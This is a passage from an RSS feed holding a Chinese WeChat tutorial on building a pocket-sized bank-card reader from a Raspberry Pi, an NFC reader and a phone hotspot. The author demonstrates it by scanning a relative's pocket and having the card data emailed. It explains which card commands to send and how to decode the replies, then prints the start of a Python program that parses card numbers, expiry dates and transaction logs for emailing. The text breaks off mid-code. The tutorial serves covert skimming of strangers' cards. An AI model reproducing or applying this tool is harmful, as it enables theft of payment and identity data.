src="https://wechat2rss.xlab.app/img-proxy/?k=030b79d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPaI42ZhicC8J0kSibBd8gyiaVO1yBacth54vQ40nfDE5jPLcjzmrmOoZI7xNWoLwzYMSiaJrNuFJ3Wxmw%2F640%3Fwx_fmt%3Djpeg"/></span></p>



<p><a href="2247486330">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6209680c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUzMjcxMzg5Mg%3D%3D%26mid%3D2247486330%26idx%3D1%26sn%3D5d8fe1274dedd5dd2d5f6c22450da4a7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 05 Jul 2020 20:30:00 +0800</pubDate>
    </item>
    <item>
      <title>一步步教你制作移动式银行卡信息读取器</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUzMjcxMzg5Mg==&amp;mid=2247486277&amp;idx=1&amp;sn=8d4d144e56ca64a393466e7ccabb03fc</link>
      <description>银行卡信息读取器？太强了</description>
      <content:encoded><![CDATA[<p>
<span>Jack Ma</span> <span>2020-06-28 20:00</span> <span style="display: inline-block;"></span>
</p>

<p>银行卡信息读取器？太强了</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3923c8eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vND92iaRIZWz9yYcjicBVmUnrLgibdic8y5WDgp9CagwT4NhfHdSMnHqveIA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages" data-ratio="0.44532803180914515" data-s="300,640" style="" data-type="png" data-w="2012" src="https://wechat2rss.xlab.app/img-proxy/?k=56ffb196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vNriaJibAUfjqHB6ZxJWMlbhCGzoohsXLmQdPib8Z3jUu7ZicO8yoQiazFibxg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: start;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;">我先上图吧，看看你是不是感兴趣：</span><br/></p><p style="text-align: start;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">侧面图:</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.5805243445692884" data-s="300,640" style="" data-type="png" data-w="1602" src="https://wechat2rss.xlab.app/img-proxy/?k=5982500f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vN2Sv74ZfzI9hO2LiaGBUxGUM5lsm0OdCIlWEIhMzGVX3dYUfOgPoticrA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">正面图： </span></p><p style="text-align: center;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><img class="rich_pages" data-ratio="1.7050938337801609" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 531px;height: 905px;" data-type="png" data-w="746" src="https://wechat2rss.xlab.app/img-proxy/?k=ed5ff2f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vNIsRTRejkyrrB9P0CialGrLVPAOuzQWEnZFp1jAJoRhE7uvbbSptibJcA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">拿着它扫了一下我姥姥的裤兜：<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.6939313984168864" data-s="300,640" style="" data-type="png" data-w="758" src="https://wechat2rss.xlab.app/img-proxy/?k=634c31de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vNgic5DjT82xPh0K6hXmjHXwMZ1AfMBXcuXhp82uUOO6EVE7FfFf2zO2g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">过了几秒，手机收到一封邮件！<br/></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.7116402116402116" data-s="300,640" style="" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=912302e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vNSyd5Fuy87jyeghYqZia4ZNV9fCeDK687hibeUnK3kDqKJFOfAXvurstA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">如果看到这你兴奋了，那么接着往下看看：<br/></span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="text-decoration: none;"><strong><span style="text-decoration: none;caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">背景</span></strong></span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：半年前，我从网上看到一个</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">视频</span><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">，讲的大概是一个人站在了一个人的旁边，待了几秒，然后就知道了那个人的银行卡信息了，而且不仅是银行卡信息，甚至连持卡人的姓名，身份证号都有。我看完之后，当时就惊呆了。现在的人都这么牛了吗？于是不假思索的也从网上买了一个一模一样的NFC读卡器，幻想着自己也可以这么厉害。可是货一到，热情就没了，因为当时以为很简单，哪知研究了一下竟不知从哪下手。不过好在也没浪费，拿着它配了个钥匙。就这样一晃半年过去了……最近我又看到了这个NFC读卡器，然后还找到了自己大学时期买的树莓派，心想着，是不是可以结合一下。最终功夫不负有心人，花了好几天的时间，终于把它们拼起来了！</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">设备</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：充电宝(5v输出)、树莓派(3代)、NFC读卡器(ACR122U-A9)、手机(具备热点功能)</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">语言</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：python3</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">流程</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：大概就是用充电宝充当树莓派的电源，然后把NFC读卡器连接到树莓派，并在树莓派里面执行读取银行卡的程序，读取到银行卡信息后树莓派通过手机开的热点网络将银行卡信息发送到自己的邮箱，于是手机上就能看到银行卡相关信息了。</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">难点</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：主要是如何通过NFC读卡器，从银行卡里读数据。需要通过读卡器给银行卡发送什么数据，对银行卡返回的数据做怎样的处理。</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">写代码前准备</span></strong><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">：虽然看着下面主代码不多，但其实里面要学很多知识，尤其是关于金融集成电路（IC）卡规范里面的内容，当时反反复复看了一个通宵才弄明白了一些。我们在写代码前大致是要先找到NFC读卡器说明文档和银行卡相关规范，了解其工作过程。NFC读卡器发送请求数据给银行卡，然后银行卡响应数据，发送和响应的这些数据都是十六进制表示的，在银行卡规范中均有详细说明。知道了命令之后，就是测试。测试我们用ACR122U读卡器配套的工具（ACR122UTool，可在官网下载，下面资源包中也有）就行，该工具可以发送十六进制命令，然后会显示出响应的十六进制格式的字符串，这个字符串是TLV格式的，直接看看不懂，需要再解析一下，这时便可使用工具EMV TLV查询分析器（下面资源包中已有）。你把得到的字符串直接复制上去，它会给你解析好，这样你看起来就清晰一些了。不过解析出来的依旧是十六进制，这些个十六进制的字符其实是字节串，这时候需要用python给转码一下，转成gb2312（不要问我怎么知道要转成这个格式的，因为我是挨个测试出来的……）就可以看到字母或中文了。最后把这一系列过程用python写出来就行了。</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);text-decoration: underline;">ACR122UTool截图：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7035398230088495" data-s="300,640" style="" data-type="png" data-w="1808" src="https://wechat2rss.xlab.app/img-proxy/?k=c09984cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vNXnWSPjpmBNIp0u7taxEwbJoooZ5Z9MaSk1j4WZJDJaD3bvU5Mm7Oag%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="text-align: start;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: medium;background-color: rgb(255, 255, 255);">将上面的结果复制去空格粘贴到EMV TLV查询分析器中分析：注：最后的&#39;90 00&#39;不要复制，因为这是这个工具的状态信息，9000表示返回成功。</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.58719646799117" data-s="300,640" style="" data-type="png" data-w="1812" src="https://wechat2rss.xlab.app/img-proxy/?k=df07fa61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPbcsOiceenWMIE6GUGRYW8vN3buRhia7We8XJhbDic6sTbjU2roXjP2EDZfvAb4nw5HcgiaZd7vy7dhbw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="text-align: start;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: medium;background-color: rgb(255, 255, 255);"></span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">我们看到十六进制字符串已经被解析成一段一段了，每段都有其特殊的意义，我们把其中的value转码成gb2312，就能看到字母或汉字了。</span></p><p style="text-align: left;white-space: normal;margin-bottom: 1.4em;caret-color: rgb(26, 26, 26);color: rgb(26, 26, 26);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Microsoft YaHei&#34;, &#34;Source Han Sans SC&#34;, &#34;Noto Sans CJK SC&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;"><span style="caret-color: rgb(167, 167, 167);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;text-align: left;color: rgb(0, 0, 0);">主程序代码：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#coding=utf-8</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> time</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> requests</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> smartcard.System <span class="code-snippet__keyword">import</span> readers</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> smartcard.util <span class="code-snippet__keyword">import</span> toHexString, toBytes, HEX, PACK</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> search_map <span class="code-snippet__keyword">import</span> trade_type2str, create_card_info, read_tag, create_identityCard_info</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> send_mails</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_card_type</span><span class="code-snippet__params">(typeStr)</span>:</span>    <span class="code-snippet__comment">#银行卡类型标注  </span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: &#39;PBOC DEBIT&#39; ==&gt; &#39;PBOC DEBIT(借记卡)&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> typeStr.upper() == <span class="code-snippet__string">&#39;PBOC DEBIT&#39;</span>:</span></code><code><span class="code-snippet_outer">        typeStr = typeStr + <span class="code-snippet__string">&#39;(借记卡)&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">elif</span> typeStr.upper() == <span class="code-snippet__string">&#39;PBOC CREDIT&#39;</span>:</span></code><code><span class="code-snippet_outer">        typeStr = typeStr + <span class="code-snippet__string">&#39;(信用卡)&#39;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> typeStr</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_del20or00</span><span class="code-snippet__params">(astr)</span>:</span>   <span class="code-snippet__comment">#删除商户名称后边多余字符</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: 50424F435F4C4556454C32205445535400000000  ==&gt; 50424F435F4C4556454C322054455354</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">while</span> astr[<span class="code-snippet__number">-2</span>:] == <span class="code-snippet__string">&#39;00&#39;</span> <span class="code-snippet__keyword">or</span> astr[<span class="code-snippet__number">-2</span>:] == <span class="code-snippet__string">&#39;20&#39;</span>:</span></code><code><span class="code-snippet_outer">        astr = astr[:<span class="code-snippet__number">-2</span>]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> astr</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_jie_duan1</span><span class="code-snippet__params">(rawStr)</span>:</span> <span class="code-snippet__comment">#返回字符串rawStr中&#39;D&#39;以前的字符，即银行卡号</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example:  1111111111111111D191200000000000F ==&gt; 1111111111111111111</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> rawStr[:rawStr.find(<span class="code-snippet__string">&#39;D&#39;</span>)]</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_jie_duan2</span><span class="code-snippet__params">(rawStr)</span>:</span> <span class="code-snippet__comment">#返回字符串rawStr中&#39;D&#39;之后的4个字符，即失效日期</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example:  1111111111111111D191200000000000F ==&gt; 1912</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> rawStr[rawStr.find(<span class="code-snippet__string">&#39;D&#39;</span>)+<span class="code-snippet__number">1</span>:rawStr.find(<span class="code-snippet__string">&#39;D&#39;</span>)+<span class="code-snippet__number">1</span>+<span class="code-snippet__number">4</span>]</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">insert_chr</span><span class="code-snippet__params">(insertStr, intCount=<span class="code-snippet__number">4</span>, intChr=<span class="code-snippet__string">&#39; &#39;</span>)</span>:</span>    <span class="code-snippet__comment">#将银行卡号、日期等做下简单处理，便于观看</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: 1111111111111111111 ==&gt; 1111 1111 1111 1111 111</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: 191210 ==&gt; 19/12/10</span></span></code><code><span class="code-snippet_outer">    L = []</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> n <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">0</span>,len(insertStr),intCount):    <span class="code-snippet__comment">#每intCount个字符一个intChr</span></span></code><code><span class="code-snippet_outer">        L.append(insertStr[n:n+intCount])</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> intChr.join(L)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">log_analyzing</span><span class="code-snippet__params">(logStr)</span>:</span>  <span class="code-snippet__comment">#交易日志解析，转为字典，映射表参见&lt;&lt;JRT0025.5-2018 中国金融集成电路(IC)卡规范&gt;&gt;(下简称为JRT0025)第5部分 表45</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># example: 16070308461000000002000000000000000001560156494342432041544D000000000000000000000000010051 ==&gt; {&#39;9A&#39;: [&#39;交易日期&#39;, &#39;160703&#39;], &#39;9F21&#39;: [&#39;交易时间&#39;, &#39;084610&#39;], &#39;9F02&#39;: 